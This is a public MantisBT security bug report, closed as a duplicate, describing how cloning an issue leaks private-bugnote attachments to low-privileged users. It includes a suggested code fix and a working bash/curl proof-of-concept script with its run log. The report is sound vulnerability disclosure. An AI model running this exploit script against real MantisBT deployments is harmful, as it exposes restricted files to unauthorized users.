View Issue Details

IDProjectCategoryView StatusLast Update
0037499mantisbtsecuritypublic2026-11-22 16:11
ReporterAhmed.Mahmoud Assigned Todregad  
PriorityhighSeveritymajorReproducibilityalways
Status closedResolutionduplicate 
Product Version2.28.4 
Summary0037499: Authorization bypass: cloning an issue copies attachments from private bugnotes (CWE-862)
Description

file_copy_attachments() (core/file_api.php:1450 in 2.28.4; line 1477 in current master) copies every row of {bug_file} belonging to the source issue:

SELECT * FROM {bug_file} WHERE bug_id = ?

and re-inserts each row without the bugnote_id column. Because {bug_file}.bugnote_id
defaults to 0, the copy is treated as a plain issue attachment by
file_can_download_bugnote_attachments() (which returns true for bugnote_id == 0).

The clone form only requires view_bug_threshold on the source issue and
report_bug_threshold on the target project. A REPORTER-level user can therefore clone
a public issue and obtain a public copy of an attachment that was restricted to
DEVELOPER+ through a private bugnote. The new issue is created with
default_bug_view_status = VS_PUBLIC, so the leaked file also becomes readable by every
VIEWER+ in the project.

The private note text itself is not leaked: copy_notes_from_parent re-adds notes via
bugnote_add() while preserving view_state and reporter_id. Only attachments are
downgraded to plain issue attachments.

This is a distinct code path from CVE-2026-42071. That fix
(029d9d203d9e4ae96b3e59d552fa7395cc1e5071) only changed api/soap/mc_file_api.php, the
filecan*bugnote_attachments helpers and file_download.php; file_copy_attachments() is
unchanged. The advisory's statement "The web UI is NOT affected" does not cover the
web clone flow.

Suggested fix: in file_copy_attachments(), skip rows whose bugnote_id is not
downloadable by the current user, e.g.

$t_bugnote_id = (int)$t_bug_file['bugnote_id'];
if( $t_bugnote_id > 0
    && !file_can_download_bugnote_attachments( $t_bugnote_id, (int)$t_bug_file['user_id'], $p_source_bug_id ) ) {
    continue;
}

and add a regression test that clones a public issue containing a private-note
attachment as a REPORTER.

Steps To Reproduce
  1. Fresh MantisBT 2.28.4 with default configuration.
  2. Create users: attacker = REPORTER (25) member of project P; victim_dev = DEVELOPER (55); victim_viewer = VIEWER (10).
  3. Create a public issue 0000001 in project P.
  4. As victim_dev, add a PRIVATE bugnote to issue 0000001 and attach a file to that bugnote (content: SECRET-BUGNOTE-ATTACHMENT-9271). In the test the attachment id is 4 and its bugnote_id is 3.
  5. As attacker, request: GET /file_download.php?file_id=4&type=bug
    Observed: HTTP 403 Access Denied (correct behaviour).
  6. As attacker, open /bug_report_page.php?m_id=1, tick "copy attachments from parent" and submit (or POST m_id=1, copy_attachments_from_parent=1, bug_report_token).
  7. MantisBT creates issue 0000005 with view_state = VS_PUBLIC and copies the attachment with bugnote_id = 0.
  8. As attacker, download the new attachment: HTTP 200, body "SECRET-BUGNOTE-ATTACHMENT-9271", sha256 c7412243f57443d915b42fad981b3e4ab82251373dbec4b1ca6417cf81346243.
  9. As victim_viewer (VIEWER, level 10), download the same new attachment: HTTP 200, same content.

Database state after the clone (source vs copy, byte-identical):

id bug_id bugnote_id filename user_id filesize md5(content)
4 1 3 private-bugnote-secret.txt 4 30 c18ce5dc732bfca98cd236e706254e92
10 5 0 private-bugnote-secret.txt 4 30 c18ce5dc732bfca98cd236e706254e92

Control: a VIEWER cannot open bug_report_page.php?m_id=1 (HTTP 403, report_bug_threshold)
and cannot download file_id=4 (HTTP 403), but can download file_id=10 (HTTP 200).

A self-contained curl reproducer and the full evidence transcript are attached.

Additional Information

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N (7.1 High)
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N (6.5 Medium)

CWE: CWE-862 (Missing Authorization)

Affected: 2.28.4 (verified). The same code is present in current master (2.29.0-dev), so master is also affected.

Credit: Ahmed Mahmoud (Haktrak Networks)

GitHub username: will be provided in a follow-up note.

AI disclosure: code review, PoC automation and the write-up were produced with AI assistance (OpenCode agent). All tests were performed on a local, disposable MantisBT instance owned by the reporter; no production or third-party system was accessed.

Attachments:

  • reproduce.sh: self-contained curl reproducer (creates a fresh clone on each run)
  • poc-run.log: full evidence transcript (negative control 403, clone, 200, VIEWER download)
TagsNo tags attached.

Relationships

duplicate of 0037027 closeddregad Clone Issue Copies Hidden Private-Note Attachments Into a Visible Child Issue 
related to 0036985 closeddregad CVE-2026-42071: REST Issue File Listing Leaks Attachments From Hidden Private Bugnotes 

Activities

Ahmed.Mahmoud

Ahmed.Mahmoud

2026-11-14 13:28

reporter   ~0071595

Attaching the self-contained curl reproducer (reproduce.sh) and the full evidence transcript (poc-run.log).

The transcript shows: direct download of the private-note attachment = HTTP 403

reproduce.sh (5,369 bytes)   
#!/bin/bash
# MantisBT clone-attachment leak - full reproducible PoC
# Requires: MantisBT 2.28.4 at $BASE with the fixture setup from notes/fixtures.php + fixtures2.php
set -u
BASE="${BASE:-http://172.29.99.100/mantis}"
ATT_USER="${ATT_USER:-attacker}"
ATT_PASS="${ATT_PASS:-attackerPass#2026}"
VIEW_USER="${VIEW_USER:-victim_viewer}"
VIEW_PASS="${VIEW_PASS:-victim_viewerPass#2026}"
MASTER_ID="${MASTER_ID:-1}"   # public issue containing a private bugnote attachment

CK_A=/tmp/poc-ck-attacker
CK_V=/tmp/poc-ck-viewer

login() {
  local U="$1" P="$2" CK="$3"
  rm -f "$CK"
  curl -s -c "$CK" --max-time 30 "$BASE/login_page.php" -o /tmp/poc-lp.html
  local T R
  T=$(grep -oE 'name="login_token" value="[^"]+"' /tmp/poc-lp.html | head -1 | sed -E 's/.*value="([^"]+)"/\1/')
  R=$(grep -oE 'name="return" value="[^"]+"' /tmp/poc-lp.html | head -1 | sed -E 's/.*value="([^"]+)"/\1/')
  curl -s -b "$CK" -c "$CK" --max-time 30 \
    --data-urlencode "username=$U" --data-urlencode "password=$P" \
    --data-urlencode "return=$R" --data-urlencode "login_token=$T" \
    --data-urlencode "secure_session=1" "$BASE/login.php" -o /dev/null -w "login $U -> %{http_code}\n" >&2
}

echo "############################################################"
echo "# STEP 1: authenticate as low-privileged REPORTER ($ATT_USER, level 25)"
echo "############################################################"
login "$ATT_USER" "$ATT_PASS" "$CK_A"

echo
echo "############################################################"
echo "# STEP 2: identify a private-bugnote attachment via the source issue"
echo "############################################################"
FPRIV=$(mysql -u root -N -B -e "SELECT f.id FROM mantis.mantis_bug_file_table f JOIN mantis.mantis_bugnote_table n ON n.id=f.bugnote_id WHERE f.bug_id=$MASTER_ID AND n.view_state=50 LIMIT 1;")
echo "private-bugnote attachment id = $FPRIV"
mysql -u root -N -B -e "SELECT id,bug_id,bugnote_id,filename,user_id,filesize FROM mantis.mantis_bug_file_table WHERE id=$FPRIV;"

echo
echo "############################################################"
echo "# STEP 3: NEGATIVE CONTROL - direct download must fail (403)"
echo "############################################################"
curl -s -b "$CK_A" --max-time 30 "$BASE/file_download.php?file_id=$FPRIV&type=bug" -o /tmp/poc-denied.html -w 'HTTP %{http_code}\n'
grep -oE 'Access Denied' /tmp/poc-denied.html | head -1

echo
echo "############################################################"
echo "# STEP 4: clone the source issue with copy_attachments_from_parent=1"
echo "############################################################"
curl -s -b "$CK_A" -c "$CK_A" --max-time 30 "$BASE/bug_report_page.php?m_id=$MASTER_ID" -o /tmp/poc-form.html -w 'clone form -> HTTP %{http_code}\n'
FTOKEN=$(grep -oE 'name="bug_report_token" value="[^"]+"' /tmp/poc-form.html | head -1 | sed -E 's/.*value="([^"]+)"/\1/')
echo "form token = $FTOKEN"
SUMMARY="PoC-clone-$RANDOM$RANDOM"
curl -s -b "$CK_A" -c "$CK_A" --max-time 60 -D /tmp/poc-post.hdr -o /tmp/poc-post.html \
  --data-urlencode "bug_report_token=$FTOKEN" \
  --data-urlencode "m_id=$MASTER_ID" \
  --data-urlencode "project_id=1" \
  --data-urlencode "category_id=1" \
  --data-urlencode "summary=$SUMMARY" \
  --data-urlencode "description=clone PoC" \
  --data-urlencode "copy_attachments_from_parent=1" \
  --data-urlencode "rel_type=0" \
  "$BASE/bug_report.php" -w 'clone POST -> HTTP %{http_code}\n'
grep -i '^Location:' /tmp/poc-post.hdr | tr -d '\r'

NEWID=$(mysql -u root -N -B -e "SELECT id FROM mantis.mantis_bug_table WHERE summary='$SUMMARY' LIMIT 1;")
echo "new issue id = $NEWID (view_state=$(mysql -u root -N -B -e "SELECT view_state FROM mantis.mantis_bug_table WHERE id=$NEWID;"))"

echo
echo "############################################################"
echo "# STEP 5: verify the private attachment was copied as plain attachment"
echo "############################################################"
mysql -u root -N -B -e "SELECT id,bug_id,bugnote_id,filename,user_id,filesize FROM mantis.mantis_bug_file_table WHERE bug_id=$NEWID ORDER BY id;"

echo
echo "############################################################"
echo "# STEP 6: POSITIVE - attacker downloads the copied attachment (200)"
echo "############################################################"
for FID in $(mysql -u root -N -B -e "SELECT id FROM mantis.mantis_bug_file_table WHERE bug_id=$NEWID AND filename LIKE 'private-bugnote%';"); do
  echo "--- attachment id=$FID ---"
  curl -s -b "$CK_A" --max-time 30 "$BASE/file_download.php?file_id=$FID&type=bug" -o /tmp/poc-leak.bin -w 'HTTP %{http_code} size=%{size_download}\n'
  echo "sha256: $(sha256sum /tmp/poc-leak.bin | cut -d' ' -f1)"
  echo "content: $(cat /tmp/poc-leak.bin)"
  echo
done

echo "############################################################"
echo "# STEP 7: any project VIEWER can now read it too"
echo "############################################################"
login "$VIEW_USER" "$VIEW_PASS" "$CK_V"
for FID in $(mysql -u root -N -B -e "SELECT id FROM mantis.mantis_bug_file_table WHERE bug_id=$NEWID AND filename LIKE 'private-bugnote%';"); do
  curl -s -b "$CK_V" --max-time 30 "$BASE/file_download.php?file_id=$FID&type=bug" -o /tmp/poc-leak2.bin -w "VIEWER download file_id=$FID -> HTTP %{http_code}\n"
  echo "content: $(cat /tmp/poc-leak2.bin)"
done
reproduce.sh (5,369 bytes)   
poc-run.log (1,978 bytes)   
############################################################
# STEP 1: authenticate as low-privileged REPORTER (attacker, level 25)
############################################################
login attacker -> 302

############################################################
# STEP 2: identify a private-bugnote attachment via the source issue
############################################################
private-bugnote attachment id = 4
4	1	3	private-bugnote-secret.txt	4	30

############################################################
# STEP 3: NEGATIVE CONTROL - direct download must fail (403)
############################################################
HTTP 403
Access Denied

############################################################
# STEP 4: clone the source issue with copy_attachments_from_parent=1
############################################################
clone form -> HTTP 200
form token = 20261114pjLzJ6VhlyTyq6_uXCPT6MXU2tuW_iKO
clone POST -> HTTP 302
Location: http://172.29.99.100/mantis/view.php?id=5
new issue id = 5 (view_state=10)

############################################################
# STEP 5: verify the private attachment was copied as plain attachment
############################################################
9	5	0	public-note.txt	6	25
10	5	0	private-bugnote-secret.txt	4	30
11	5	0	public-control.txt	4	22

############################################################
# STEP 6: POSITIVE - attacker downloads the copied attachment (200)
############################################################
--- attachment id=10 ---
HTTP 200 size=30
sha256: c7412243f57443d915b42fad981b3e4ab82251373dbec4b1ca6417cf81346243
content: SECRET-BUGNOTE-ATTACHMENT-9271

############################################################
# STEP 7: any project VIEWER can now read it too
############################################################
login victim_viewer -> 302
VIEWER download file_id=10 -> HTTP 200
content: SECRET-BUGNOTE-ATTACHMENT-9271
poc-run.log (1,978 bytes)   
Ahmed.Mahmoud

Ahmed.Mahmoud

2026-11-14 13:34

reporter   ~0071596

GitHub username for the security advisory: ahmedxmahmoud2
Profile: https://github.com/ahmedxmahmoud2

Credit should read: Ahmed Mahmoud (Haktrak Networks).

dregad

dregad

2026-11-15 11:05

developer   ~0071598

Last edited: 2026-11-15 11:06

Thanks for the detailed report.

This vulnerability has already been identified previously by another security researcher (see 0037027), so I'm closing this issue as duplicate.

You will be co-credited for the finding.